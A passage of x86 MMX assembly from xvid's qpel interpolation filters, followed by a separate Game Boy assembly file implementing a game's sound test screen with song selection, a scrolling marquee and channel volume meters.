;//////////////////////////////////////////////////////////////////////
;// 16x? copy Functions
xvid_H_Pass_16_mmx:
H_PASS_16 0, 0
ENDFUNC
xvid_H_Pass_Avrg_16_mmx:
H_PASS_16 1, 0
ENDFUNC
xvid_H_Pass_Avrg_Up_16_mmx:
H_PASS_16 2, 0
ENDFUNC
;//////////////////////////////////////////////////////////////////////
;// 8x? copy Functions
xvid_H_Pass_8_mmx:
H_PASS_8 0, 0
ENDFUNC
xvid_H_Pass_Avrg_8_mmx:
H_PASS_8 1, 0
ENDFUNC
xvid_H_Pass_Avrg_Up_8_mmx:
H_PASS_8 2, 0
ENDFUNC
;//////////////////////////////////////////////////////////////////////
;// 16x? avrg Functions
xvid_H_Pass_Add_16_mmx:
H_PASS_16 0, 1
ENDFUNC
xvid_H_Pass_Avrg_Add_16_mmx:
H_PASS_16 1, 1
ENDFUNC
xvid_H_Pass_Avrg_Up_Add_16_mmx:
H_PASS_16 2, 1
ENDFUNC
;//////////////////////////////////////////////////////////////////////
;// 8x? avrg Functions
xvid_H_Pass_8_Add_mmx:
H_PASS_8 0, 1
ENDFUNC
xvid_H_Pass_Avrg_8_Add_mmx:
H_PASS_8 1, 1
ENDFUNC
xvid_H_Pass_Avrg_Up_8_Add_mmx:
H_PASS_8 2, 1
ENDFUNC
;//////////////////////////////////////////////////////////////////////
;//
;// All vertical passes
;//
;//////////////////////////////////////////////////////////////////////
%macro V_LOAD 1 ; %1=Last?
movd mm4, dword [TMP1]
pxor mm6, mm6
%if (%1==0)
add TMP1, _EBP
%endif
punpcklbw mm4, mm6
%endmacro
%macro V_ACC1 2 ; %1:reg; 2:tap
pmullw mm4, [%2]
paddw %1, mm4
%endmacro
%macro V_ACC2 4 ; %1-%2: regs, %3-%4: taps
movq mm5, mm4
movq mm6, mm4
pmullw mm5, [%3]
pmullw mm6, [%4]
paddw %1, mm5
paddw %2, mm6
%endmacro
%macro V_ACC2l 4 ; %1-%2: regs, %3-%4: taps
movq mm5, mm4
pmullw mm5, [%3]
pmullw mm4, [%4]
paddw %1, mm5
paddw %2, mm4
%endmacro
%macro V_ACC4 8 ; %1-%4: regs, %5-%8: taps
V_ACC2 %1,%2, %5,%6
V_ACC2l %3,%4, %7,%8
%endmacro
%macro V_MIX 3 ; %1:dst-reg, %2:src, %3: rounder
pxor mm6, mm6
movq mm4, [%2]
punpcklbw %1, mm6
punpcklbw mm4, mm6
paddusw %1, mm4
paddusw %1, [%3]
psrlw %1, 1
packuswb %1, %1
%endmacro
%macro V_STORE 4 ; %1-%2: mix ops, %3: reg, %4:last?
psraw %3, 5
packuswb %3, %3
%if (%1==1)
V_MIX %3, SRC_PTR, _EBX
add SRC_PTR, _EBP
%elif (%1==2)
add SRC_PTR, _EBP
V_MIX %3, SRC_PTR, _EBX
%endif
%if (%2==1)
V_MIX %3, DST_PTR, Rounder1_MMX
%endif
movd eax, %3
mov dword [DST_PTR], eax
%if (%4==0)
add DST_PTR, _EBP
%endif
%endmacro
;//////////////////////////////////////////////////////////////////////
%macro V_PASS_16 2 ; %1:src-op (0=NONE,1=AVRG,2=AVRG-UP), %2:dst-op (NONE/AVRG)
%if (%2==0) && (%1==0)
PROLOG_NO_AVRG
%else
PROLOG_AVRG
%endif
; we process one stripe of 4x16 pixel each time.
; the size (3rd argument) is meant to be a multiple of 4
; mm0..mm3 serves as a 4x4 delay line
.Loop:
push DST_PTR
push SRC_PTR ; SRC_PTR is preserved for src-mixing
mov TMP1, SRC_PTR
; ouput rows [0..3], from input rows [0..8]
movq mm0, mm7
movq mm1, mm7
movq mm2, mm7
movq mm3, mm7
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_C14, FIR_Cm3, FIR_C2, FIR_Cm1
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_C23, FIR_C19, FIR_Cm6, FIR_C3
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_Cm7, FIR_C20, FIR_C20, FIR_Cm6
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_C3, FIR_Cm6, FIR_C20, FIR_C20
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_Cm1, FIR_C3, FIR_Cm6, FIR_C20
V_STORE %1, %2, mm0, 0
V_LOAD 0
V_ACC2 mm1, mm2, FIR_Cm1, FIR_C3
V_ACC1 mm3, FIR_Cm6
V_STORE %1, %2, mm1, 0
V_LOAD 0
V_ACC2l mm2, mm3, FIR_Cm1, FIR_C3
V_STORE %1, %2, mm2, 0
V_LOAD 1
V_ACC1 mm3, FIR_Cm1
V_STORE %1, %2, mm3, 0
; ouput rows [4..7], from input rows [1..11] (!!)
mov SRC_PTR, [_ESP]
lea TMP1, [SRC_PTR+_EBP]
lea SRC_PTR, [SRC_PTR+4*_EBP] ; for src-mixing
push SRC_PTR ; this will be the new value for next round
movq mm0, mm7
movq mm1, mm7
movq mm2, mm7
movq mm3, mm7
V_LOAD 0
V_ACC1 mm0, FIR_Cm1
V_LOAD 0
V_ACC2l mm0, mm1, FIR_C3, FIR_Cm1
V_LOAD 0
V_ACC2 mm0, mm1, FIR_Cm6, FIR_C3
V_ACC1 mm2, FIR_Cm1
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_C20, FIR_Cm6, FIR_C3, FIR_Cm1
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_C20, FIR_C20, FIR_Cm6, FIR_C3
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_Cm6, FIR_C20, FIR_C20, FIR_Cm6
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_C3, FIR_Cm6, FIR_C20, FIR_C20
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_Cm1, FIR_C3, FIR_Cm6, FIR_C20
V_STORE %1, %2, mm0, 0
V_LOAD 0
V_ACC2 mm1, mm2, FIR_Cm1, FIR_C3
V_ACC1 mm3, FIR_Cm6
V_STORE %1, %2, mm1, 0
V_LOAD 0
V_ACC2l mm2, mm3, FIR_Cm1, FIR_C3
V_STORE %1, %2, mm2, 0
V_LOAD 1
V_ACC1 mm3, FIR_Cm1
V_STORE %1, %2, mm3, 0
; ouput rows [8..11], from input rows [5..15]
pop SRC_PTR
lea TMP1, [SRC_PTR+_EBP]
lea SRC_PTR, [SRC_PTR+4*_EBP] ; for src-mixing
push SRC_PTR ; this will be the new value for next round
movq mm0, mm7
movq mm1, mm7
movq mm2, mm7
movq mm3, mm7
V_LOAD 0
V_ACC1 mm0, FIR_Cm1
V_LOAD 0
V_ACC2l mm0, mm1, FIR_C3, FIR_Cm1
V_LOAD 0
V_ACC2 mm0, mm1, FIR_Cm6, FIR_C3
V_ACC1 mm2, FIR_Cm1
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_C20, FIR_Cm6, FIR_C3, FIR_Cm1
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_C20, FIR_C20, FIR_Cm6, FIR_C3
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_Cm6, FIR_C20, FIR_C20, FIR_Cm6
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_C3, FIR_Cm6, FIR_C20, FIR_C20
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_Cm1, FIR_C3, FIR_Cm6, FIR_C20
V_STORE %1, %2, mm0, 0
V_LOAD 0
V_ACC2 mm1, mm2, FIR_Cm1, FIR_C3
V_ACC1 mm3, FIR_Cm6
V_STORE %1, %2, mm1, 0
V_LOAD 0
V_ACC2l mm2, mm3, FIR_Cm1, FIR_C3
V_STORE %1, %2, mm2, 0
V_LOAD 1
V_ACC1 mm3, FIR_Cm1
V_STORE %1, %2, mm3, 0
; ouput rows [12..15], from input rows [9.16]
pop SRC_PTR
lea TMP1, [SRC_PTR+_EBP]
%if (%1!=0)
lea SRC_PTR, [SRC_PTR+4*_EBP] ; for src-mixing
%endif
movq mm0, mm7
movq mm1, mm7
movq mm2, mm7
movq mm3, mm7
V_LOAD 0
V_ACC1 mm3, FIR_Cm1
V_LOAD 0
V_ACC2l mm2, mm3, FIR_Cm1, FIR_C3
V_LOAD 0
V_ACC2 mm1, mm2, FIR_Cm1, FIR_C3
V_ACC1 mm3, FIR_Cm6
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_Cm1, FIR_C3, FIR_Cm6, FIR_C20
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_C3, FIR_Cm6, FIR_C20, FIR_C20
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_Cm7, FIR_C20, FIR_C20, FIR_Cm6
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_C23, FIR_C19, FIR_Cm6, FIR_C3
V_LOAD 1
V_ACC4 mm0, mm1, mm2, mm3, FIR_C14, FIR_Cm3, FIR_C2, FIR_Cm1
V_STORE %1, %2, mm3, 0
V_STORE %1, %2, mm2, 0
V_STORE %1, %2, mm1, 0
V_STORE %1, %2, mm0, 1
; ... next 4 columns
pop SRC_PTR
pop DST_PTR
add SRC_PTR, 4
add DST_PTR, 4
sub TMP0, 4
jg .Loop
%if (%2==0) && (%1==0)
EPILOG_NO_AVRG
%else
EPILOG_AVRG
%endif
%endmacro
;//////////////////////////////////////////////////////////////////////
%macro V_PASS_8 2 ; %1:src-op (0=NONE,1=AVRG,2=AVRG-UP), %2:dst-op (NONE/AVRG)
%if (%2==0) && (%1==0)
PROLOG_NO_AVRG
%else
PROLOG_AVRG
%endif
; we process one stripe of 4x8 pixel each time
; the size (3rd argument) is meant to be a multiple of 4
; mm0..mm3 serves as a 4x4 delay line
.Loop:
push DST_PTR
push SRC_PTR ; SRC_PTR is preserved for src-mixing
mov TMP1, SRC_PTR
; ouput rows [0..3], from input rows [0..8]
movq mm0, mm7
movq mm1, mm7
movq mm2, mm7
movq mm3, mm7
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_C14, FIR_Cm3, FIR_C2, FIR_Cm1
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_C23, FIR_C19, FIR_Cm6, FIR_C3
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_Cm7, FIR_C20, FIR_C20, FIR_Cm6
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_C3, FIR_Cm6, FIR_C20, FIR_C20
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_Cm1, FIR_C3, FIR_Cm6, FIR_C20
V_STORE %1, %2, mm0, 0
V_LOAD 0
V_ACC2 mm1, mm2, FIR_Cm1, FIR_C3
V_ACC1 mm3, FIR_Cm6
V_STORE %1, %2, mm1, 0
V_LOAD 0
V_ACC2l mm2, mm3, FIR_Cm1, FIR_C3
V_STORE %1, %2, mm2, 0
V_LOAD 1
V_ACC1 mm3, FIR_Cm1
V_STORE %1, %2, mm3, 0
; ouput rows [4..7], from input rows [1..9]
mov SRC_PTR, [_ESP]
lea TMP1, [SRC_PTR+_EBP]
%if (%1!=0)
lea SRC_PTR, [SRC_PTR+4*_EBP] ; for src-mixing
%endif
movq mm0, mm7
movq mm1, mm7
movq mm2, mm7
movq mm3, mm7
V_LOAD 0
V_ACC1 mm3, FIR_Cm1
V_LOAD 0
V_ACC2l mm2, mm3, FIR_Cm1, FIR_C3
V_LOAD 0
V_ACC2 mm1, mm2, FIR_Cm1, FIR_C3
V_ACC1 mm3, FIR_Cm6
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_Cm1, FIR_C3, FIR_Cm6, FIR_C20
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_C3, FIR_Cm6, FIR_C20, FIR_C20
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_Cm7, FIR_C20, FIR_C20, FIR_Cm6
V_LOAD 0
V_ACC4 mm0, mm1, mm2, mm3, FIR_C23, FIR_C19, FIR_Cm6, FIR_C3
V_LOAD 1
V_ACC4 mm0, mm1, mm2, mm3, FIR_C14, FIR_Cm3, FIR_C2, FIR_Cm1
V_STORE %1, %2, mm3, 0
V_STORE %1, %2, mm2, 0
V_STORE %1, %2, mm1, 0
V_STORE %1, %2, mm0, 1
; ... next 4 columns
pop SRC_PTR
pop DST_PTR
add SRC_PTR, 4
add DST_PTR, 4
sub TMP0, 4
jg .Loop
%if (%2==0) && (%1==0)
EPILOG_NO_AVRG
%else
EPILOG_AVRG
%endif
%endmacro
;//////////////////////////////////////////////////////////////////////
;// 16x? copy Functions
xvid_V_Pass_16_mmx:
V_PASS_16 0, 0
ENDFUNC
xvid_V_Pass_Avrg_16_mmx:
V_PASS_16 1, 0
ENDFUNC
xvid_V_Pass_Avrg_Up_16_mmx:
V_PASS_16 2, 0
ENDFUNC
;//////////////////////////////////////////////////////////////////////
;// 8x? copy Functions
xvid_V_Pass_8_mmx:
V_PASS_8 0, 0
ENDFUNC
xvid_V_Pass_Avrg_8_mmx:
V_PASS_8 1, 0
ENDFUNC
xvid_V_Pass_Avrg_Up_8_mmx:
V_PASS_8 2, 0
ENDFUNC
;//////////////////////////////////////////////////////////////////////
;// 16x? avrg Functions
xvid_V_Pass_Add_16_mmx:
V_PASS_16 0, 1
ENDFUNC
xvid_V_Pass_Avrg_Add_16_mmx:
V_PASS_16 1, 1
ENDFUNC
xvid_V_Pass_Avrg_Up_Add_16_mmx:
V_PASS_16 2, 1
ENDFUNC
;//////////////////////////////////////////////////////////////////////
;// 8x? avrg Functions
xvid_V_Pass_8_Add_mmx:
V_PASS_8 0, 1
ENDFUNC
xvid_V_Pass_Avrg_8_Add_mmx:
V_PASS_8 1, 1
ENDFUNC
xvid_V_Pass_Avrg_Up_8_Add_mmx:
V_PASS_8 2, 1
ENDFUNC
;//////////////////////////////////////////////////////////////////////
%undef SRC_PTR
%undef DST_PTR
NON_EXEC_STACK
|
section "Sound test RAM",wram0
SoundTest_SongID: db
SoundTest_MarqueeScroll: db
SoundTest_MarqueePos: db
SoundTest_DoFade: db
SoundTest_CH1Vol: db
SoundTest_CH2Vol: db
SoundTest_CH3Vol: db
SoundTest_CH4Vol: db
SoundTest_CH1DecayTime: db
SoundTest_CH2DecayTime: db
SoundTest_CH4DecayTime: db
; ================
section "Sound test routines",rom0
GM_SoundTest:
; we're already in VBlank, don't wait before disabling LCD
; LY = 149 on entry (may change)
xor a
ldh [rLCDC],a
call ClearScreen
ldfar hl,SoundTestTiles
ld de,$8000
ld bc,SoundTestTiles.end-SoundTestTiles
call _CopyRAM
; load bottom half of font
ld a,1
ldh [rVBK],a
ld hl,SoundTestFontBottom
ld de,$8000 + (" " * 16)
push de
call DecodeWLE
; load top half of font
xor a
ldh [rVBK],a
ld hl,SoundTestFontTop
pop de
call DecodeWLE
ld hl,SoundTestMap
ld de,sys_TilemapBuffer
ld bc,SoundTestMap.end-SoundTestMap
call _CopyRAM
ld hl,sys_TilemapBuffer
call LoadTilemapScreen
ld a,1
ldh [rVBK],a
ld hl,SoundTest_AttributeMap
ld de,$9800
ld bc,SoundTest_AttributeMap.end-SoundTest_AttributeMap
call _CopyRAM
ld hl,Pal_SoundTest
ld a,0
call LoadPal
ld a,1
call LoadPal
ld a,2
call LoadPal
ld a,3
call LoadPal
ld a,8
call LoadPal
call ConvertPals
call PalFadeInWhite
call UpdatePalettes
ld a,LCDCF_ON | LCDCF_BG8000 | LCDCF_BGON | LCDCF_OBJON | LCDCF_OBJ16
ldh [rLCDC],a
ld a,IEF_VBLANK | IEF_LCDC
ldh [rIE],a
ld a,SCRN_Y-16
ldh [rLYC],a
ld a,STATF_LYC
ldh [rSTAT],a
ei
xor a
ld [SoundTest_MarqueeScroll],a
ld [SoundTest_MarqueePos],a
ld [SoundTest_SongID],a
ld [SoundTest_CH1Vol],a
ld [SoundTest_CH2Vol],a
ld [SoundTest_CH4Vol],a
ld [SoundTest_CH1DecayTime],a
ld [SoundTest_CH2DecayTime],a
ld [SoundTest_CH4DecayTime],a
push af
farcall DS_Init
pop af
call SoundTest_DrawSongName
SoundTestLoop:
ld hl,sys_TilemapBuffer+103
ld de,$98a3
ld b,8
ld c,$14
:
WaitForVRAM
ld a,[hl+]
ld [de],a
inc de
dec c
jr nz,:-
ld c,$14
ld a,e
add $C
jr nc,:+
inc d
:
ld e,a
dec b
jr nz,:--
ld a,[sys_btnPress]
bit btnB,a
jr nz,.exit
ld e,a
ld a,[SoundTest_MarqueeScroll]
and a
jp nz,.continue
ld a,e
bit btnLeft,a
jr nz,.prevsong
bit btnRight,a
jr nz,.nextsong
jr .continue
.prevsong
ld a,1
ld [SoundTest_DoFade],a
inc a
farcall DS_Fade
ld a,%10000001
ld [SoundTest_MarqueeScroll],a
ld a,[SoundTest_SongID]
dec a
ld [SoundTest_SongID],a
cp $ff
jr nz,.continue
ld a,NUM_SONGS-1
ld [SoundTest_SongID],a
jr .continue
.nextsong
ld a,1
ld [SoundTest_DoFade],a
inc a
farcall DS_Fade
ld a,%00000001
ld [SoundTest_MarqueeScroll],a
ld a,[SoundTest_SongID]
inc a
ld [SoundTest_SongID],a
cp NUM_SONGS
jr c,.continue
xor a
ld [SoundTest_SongID],a
jr .continue
.exit
call DevSound_Stop
PlaySFX menuback
call PalFadeOutWhite
; wait for fade to finish
: halt
ld a,[sys_FadeState]
bit 0,a
jr nz,:-
call AllPalsWhite
call UpdatePalettes
; wait for SFX to finish
: halt
ld a,[VGMSFX_Flags]
and a
jr nz,:-
xor a
ldh [rLCDC],a
call ClearScreen
if DebugMode
jp GM_DebugMenu
else
jp GM_TitleAndMenus
endc
.continue
; update visualizer vars
; ch1
ld a,[DS_CH1Retrig]
and a
jr z,:+
ld a,[DS_CH1Vol]
and $f0
swap a
ld [SoundTest_CH1Vol],a
ld a,[DS_CH1Vol]
and $f
ld [SoundTest_CH1DecayTime],a
jr :+++
: ld a,[SoundTest_CH1DecayTime]
dec a
ld [SoundTest_CH1DecayTime],a
jr nz,:++
ld a,[DS_CH1Vol]
and $f
ld [SoundTest_CH1DecayTime],a
ld a,[SoundTest_CH1Vol]
sub 1 ; dec a doesn't set carry
jr nc,:+
xor a
: ld [SoundTest_CH1Vol],a
:
; ch2
ld a,[DS_CH2Retrig]
and a
jr z,:+
ld a,[DS_CH2Vol]
and $f0
swap a
ld [SoundTest_CH2Vol],a
ld a,[DS_CH2Vol]
and $f
ld [SoundTest_CH2DecayTime],a
jr :+++
: ld a,[SoundTest_CH2DecayTime]
dec a
ld [SoundTest_CH2DecayTime],a
jr nz,:++
ld a,[DS_CH2Vol]
and $f
ld [SoundTest_CH2DecayTime],a
ld a,[SoundTest_CH2Vol]
sub 1 ; dec a doesn't set carry
jr nc,:+
xor a
: ld [SoundTest_CH2Vol],a
:
; ch3 (TODO)
ld a,[DS_CH3Vol]
and a
jr z,.setvol3
cp $20
jr nz,:+
ld a,$f
jr .setvol3
: cp $40
jr nz,:+
ld a,$8
jr .setvol3
: cp $60
jr nz,:+
ld a,$4
; fall through
.setvol3
ld [SoundTest_CH3Vol],a
: ; ch4
ld a,[DS_CH4Retrig]
and a
jr z,:+
ld a,[DS_CH4Vol]
and $f0
swap a
ld [SoundTest_CH4Vol],a
ld a,[DS_CH4Vol]
and $f
ld [SoundTest_CH4DecayTime],a
jr :+++
: ld a,[SoundTest_CH4DecayTime]
dec a
ld [SoundTest_CH4DecayTime],a
jr nz,:++
ld a,[DS_CH4Vol]
and $f
ld [SoundTest_CH4DecayTime],a
ld a,[SoundTest_CH4Vol]
sub 1 ; dec a doesn't set carry
jr nc,:+
xor a
: ld [SoundTest_CH4Vol],a
:
; update cursor
ld hl,OAMBuffer
; left cursor Y pos
ld a,144
ld [hl+],a
; left cursor X pos
ld a,[sys_CurrentFrame]
and $1f
ld de,SoundTest_CursorOscillationTable
add e
ld e,a
jr nc,.nocarry
inc d
.nocarry
ld a,[de]
add 8
ld [hl+],a
; left cursor tile
ld a,4
ld [hl+],a
; left cursor attributes
xor a
ld [hl+],a
; right cursor Y pos
ld a,144
ld [hl+],a
; right cursor X pos
ld a,[de]
cpl
add 162
ld [hl+],a
; right cursor tile
ld a,6
ld [hl+],a
; left cursor attributes
xor a
ld [hl+],a
tmcoord 3,5
ld b,160
xor a
call _FillRAMSmall
; CH1 volume meter
.v1
ld a,[SoundTest_CH1Vol]
inc a
ld c,a
tmcoord 3,12
ld b,16
.v1a
ld a,8
ld [hl+],a
ld [hl-],a
dec c
jr z,:+
dec b
jr z,:+
.v1b
ld a,9
ld [hl+],a
ld [hl-],a
ld a,l
sub 20
ld l,a
dec c
jr z,:+
dec b
jr nz,.v1a
: ; CH2 volume meter
.v2
ld a,[SoundTest_CH2Vol]
inc a
ld c,a
tmcoord 7,12
ld b,16
.v2a
ld a,8
ld [hl+],a
ld [hl-],a
dec c
jr z,:+
dec b
jr z,:+
.v2b
ld a,9
ld [hl+],a
ld [hl-],a
ld a,l
sub 20
ld l,a
dec c
jr z,:+
dec b
jr nz,.v2a
: ; CH3 volume meter
.v3
ld a,[SoundTest_CH3Vol]
inc a
ld c,a
tmcoord 11,12
ld b,16
.v3a
ld a,8
ld [hl+],a
ld [hl-],a
dec c
jr z,:+
dec b
jr z,:+
.v3b
ld a,9
ld [hl+],a
ld [hl-],a
ld a,l
sub 20
ld l,a
dec c
jr z,:+
dec b
jr nz,.v3a
: ; CH4 volume meter
.v4
ld a,[SoundTest_CH4Vol]
inc a
ld c,a
tmcoord 15,12
ld b,16
.v4a
ld a,8
ld [hl+],a
ld [hl-],a
dec c
jr z,:+
dec b
jr z,:+
.v4b
ld a,9
ld [hl+],a
ld [hl-],a
ld a,l
sub 20
ld l,a
dec c
jr z,:+
dec b
jr nz,.v4a
:
.wait
rst WaitLCDC
call SoundTest_RunMarquee
: rst WaitVBlank
xor a
ldh [rSCX],a
jp SoundTestLoop
SoundTest_CursorOscillationTable:
db 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0
db 0, 0, 0, 0,-1,-1,-1,-1,-1,-1,-1,-1, 0, 0, 0, 0
; ================
; a = song ID
; b = offset
SoundTest_DrawSongNameChar:
push bc
ldfar de,SoundTest_SongNames
pop bc
ld l,a
ld h,0
add hl,hl ; x2
add hl,hl ; x4
add hl,hl ; x8
add hl,hl ; x16
add hl,hl ; x32
add hl,de
ld a,l
add b
ld l,a
jr nc,:+
inc h
: ld d,$9a
ld e,b
xor a
ldh [rVBK],a
WaitForVRAM
ld a,[hl]
ld [de],a
ld a,e
add 32
ld e,a
WaitForVRAM
ld a,[hl]
ld [de],a
ret
; a = song ID
SoundTest_DrawSongName:
ld de,$9a00
ldfar hl,SoundTest_SongNames
add a ; x2
add a ; x4
add a ; x8
add a ; x16
add a ; x32
add l
ld l,a
jr nc,.nocarry
inc h
.nocarry
push hl
xor a
ldh [rVBK],a
ld b,32
.loop1
WaitForVRAM
ld a,[hl+]
ld [de],a
inc e
dec b
jr nz,.loop1
pop hl
ld b,32
.loop2
WaitForVRAM
ld a,[hl+]
ld [de],a
inc e
dec b
jr nz,.loop2
ret
SoundTest_RunMarquee:
; run marquee
ld a,[SoundTest_MarqueeScroll]
and a
ret z
bit 7,a
jr nz,.reverse
.forward
ld b,bank(SoundTest_MarqueeScrollTable)
call _Bankswitch
ld a,[SoundTest_MarqueePos]
add 2
bit 7,a
jr z,.noreset
xor a
ld [SoundTest_MarqueePos],a
ld [SoundTest_MarqueeScroll],a
; play new song
ld a,[SoundTest_SongID]
farcall DS_Init
ret
.noreset
ld [SoundTest_MarqueePos],a
ld e,a
ld h,high(SoundTest_MarqueeScrollTable)
ld l,e
ld a,[hl]
ldh [rSCX],a
; update marquee string
sub 8
rra ; /2
rra ; /4
rra ; /8
and $1f
ld b,a
ld a,[SoundTest_SongID]
jp SoundTest_DrawSongNameChar
.reverse
ld b,bank(SoundTest_MarqueeScrollTable)
call _Bankswitch
ld a,[SoundTest_MarqueePos]
sub 2
res 7,a
and a
jr nz,.noreset2
xor a
ld [SoundTest_MarqueePos],a
ld [SoundTest_MarqueeScroll],a
; play new song
ld a,[SoundTest_SongID]
farcall DS_Init
ret
.noreset2
ld [SoundTest_MarqueePos],a
ld e,a
ld h,high(SoundTest_MarqueeScrollTable)
ld l,e
ld a,[hl]
ldh [rSCX],a
; update marquee string
inc a
rra ; /2
rra ; /4
rra ; /8
and $1f
ld b,a
ld a,[SoundTest_SongID]
jp SoundTest_DrawSongNameChar
; ================
section "Sound test - Marquee scroll table",romx,align[8]
SoundTest_MarqueeScrollTable::
db $00,$00,$00,$00,$00,$00,$01,$01,$02,$03,$03,$04,$05,$06,$07,$08
db $09,$0A,$0C,$0D,$0F,$10,$12,$13,$15,$17,$19,$1B,$1D,$1F,$21,$23
db $25,$27,$2A,$2C,$2E,$31,$33,$36,$38,$3B,$3E,$40,$43,$46,$49,$4C
db $4F,$51,$54,$57,$5A,$5D,$60,$63,$67,$6A,$6D,$70,$73,$76,$79,$7C
db $80,$83,$86,$89,$8C,$8F,$92,$95,$98,$9C,$9F,$A2,$A5,$A8,$AB,$AE
db $B0,$B3,$B6,$B9,$BC,$BF,$C1,$C4,$C7,$C9,$CC,$CE,$D1,$D3,$D5,$D8
db $DA,$DC,$DE,$E0,$E2,$E4,$E6,$E8,$EA,$EC,$ED,$EF,$F0,$F2,$F3,$F5
db $F6,$F7,$F8,$F9,$FA,$FB,$FC,$FC,$FD,$FE,$FE,$FF,$FF,$FF,$FF,$FF
section "Sound test - Song names",romx
SoundTest_SongNames:
; -##################-------------
db " Main Theme "
db " Humble Beginnings "
db " Mystic Medley "
db " Rock the Block "
db " Pyramid Jams "
db " Cave Cacophony "
db " Temple Tunes " ; TODO: Come up with better name for the temple tune
db " Stage Clear! "
db " Down 'n Dirty "
db " Game Over "
db " Bonus Time! "
db " Museum "
db " Staff Roll "
; -##################-------------
.end
; ================
section "Sound test GFX",romx
SoundTestTiles:
incbin "GFX/SoundTest.2bpp"
.end
Pal_SoundTest:
RGB 0, 0, 0
RGB 15,15,15
RGB 28,28,28
RGB 31,31,31
RGB 0, 0, 0
RGB 0,20, 0
RGB 0,31, 0
RGB 31,31, 0
RGB 0, 0, 0
RGB 15, 7, 0
RGB 31,15, 0
RGB 31,31, 0
RGB 0, 0, 0
RGB 10, 0, 0
RGB 20, 0, 0
RGB 31, 0, 0
Pal_SoundTestOBJ:
RGB 31, 0,31
RGB 5, 5, 5
RGB 10,10,10
RGB 15,15,15
SoundTest_AttributeMap:
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff
db 8,8,8,8,8,8,8,8,8,8,0,0,0,0,0,0,0,0,0,0,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff
db $21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff
db $21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff
db $21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff
db $23,$03,$23,$03,$23,$03,$23,$03,$23,$03,$23,$03,$23,$03,$23,$03,$23,$03,$23,$03,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff
db $22,$02,$22,$02,$22,$02,$22,$02,$22,$02,$22,$02,$22,$02,$22,$02,$22,$02,$22,$02,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff
db $21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff
db $21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff
db $21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff
db $21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff
db $21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff
db $21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff
db $21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff
db $21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff
